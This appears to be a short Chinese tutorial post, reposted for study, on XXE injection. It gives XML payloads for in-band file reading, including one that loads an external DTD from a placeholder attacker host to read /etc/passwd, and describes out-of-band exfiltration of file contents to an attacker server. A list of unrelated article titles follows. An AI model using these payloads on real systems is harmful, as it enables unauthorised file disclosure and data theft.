转载学习于红日安全

一、有回显

(1)直接将外部实体引用的URI设置为敏感目录

<!DOCTYPE foo [<!ELEMENT foo ANY >

<!ENTITY  xxe SYSTEM "file:///etc/passwd" >]>

<foo>&xxe;</foo>

(2)将外部实体引用的 URL 设置到本地服务器,本地构建恶意 dtd 文件,远程注入

<!DOCTYPE foo [<!ELEMENT foo ANY >

<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >

%xxe;]>

<foo>&evil;</foo>

外部 evil.dtd 中的内容:

<!ENTITY evil SYSTEM "file:///etc/passwd" >

二、无回显

可以使用外带数据通道提取数据,先使用
filter:/// 获取目标文件的内容,然后将内容以 http 请求发送到接收数据的服务器(攻击服务器)。实体
remote,all,send 的引用顺序很重要,首先对 remote 引用的目的是将外部文件 evil.xml 引入到解释上下文中,然后执行
%all,这时会检测到 send 实体,在 root 节点中引用 send,就可以成功实现数据转发

也可以直接在 DTD 中引用 send 实体,如果在 evil.xml 中,send 是个参数实体的话

最新文章

  1. 进程管理supervisor的简单说明
  2. Android ListView实现不同item的方法和原理分析
  3. iOS - Frame 项目架构
  4. LBS定位技术
  5. 在Copy-Item中集成认证信息以拷贝文件
  6. JavaScript:单选钮的事件处理
  7. 把数组转换成sql中能使用的字符串
  8. 索尼MT27i Android2.3.7 线刷Android4.04
  9. uniq详解
  10. 【6】锋利的 jQuery 笔记
  11. background-clip与background-origin两者的区别
  12. OutputDebugString输出调试信息到debugtrack
  13. A very hard Aoshu problem(dfs或者数位)
  14. 小秘书智能app登录
  15. Azure系列2.1.14 —— CopyState
  16. Nginx挂载维护页或返回自定义响应信息
  17. Wordpress 之删除 RSS 功能 的&quot;文章RSS&quot;、&quot;评论RSS&quot;、&quot;WordPress.org&quot;
  18. Mysql 查看连接数,状态 最大并发数 &amp;&amp; 怎么设置才合理
  19. 在Spring的Bean注入中,即使你私有化构造函数,默认他还是会去调用你的私有构造函数去实例化
  20. 简单的栈溢出demo

热门文章

  1. 【dp】10-8题解 vacation
  2. NOIP模拟测试20「周&#183;任&#183;飞」
  3. Error in invoking target &#39;mkldflags ntcontab.o nnfgt.o&#39; of mkdefile &#39;/u01/app/oracle/product/11.2.0
  4. 十八、.net core(.NET 6)搭建ElasticSearch(ES)系列之使用Logstash通过Rabbitmq接收Serilog日志到ES
  5. ES6 数组的方法
  6. LeetCode解题记录(贪心算法)(一)
  7. 编译x86_64 Linux内核并基于QEMU运行
  8. 1.3.9、通过权重 Weight匹配
  9. 数据连接池JNDI
  10. 线程中的yield()